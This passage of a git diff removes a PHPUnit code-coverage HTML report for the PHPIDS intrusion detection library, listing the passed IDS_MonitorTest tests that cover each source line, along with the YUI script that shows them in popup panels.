class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel658": { - "header": "32 tests cover line 658", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel659": { - "header": "32 tests cover line 659", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel660": { - "header": "32 tests cover line 660", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel661": { - "header": "32 tests cover line 661", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel664": { - "header": "32 tests cover line 664", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel665": { - "header": "32 tests cover line 665", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel667": { - "header": "32 tests cover line 667", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel669": { - "header": "32 tests cover line 669", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel670": { - "header": "32 tests cover line 670", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel672": { - "header": "15 tests cover line 672", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel674": { - "header": "15 tests cover line 674", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel676": { - "header": "31 tests cover line 676", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel678": { - "header": "35 tests cover line 678", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Event.php.html 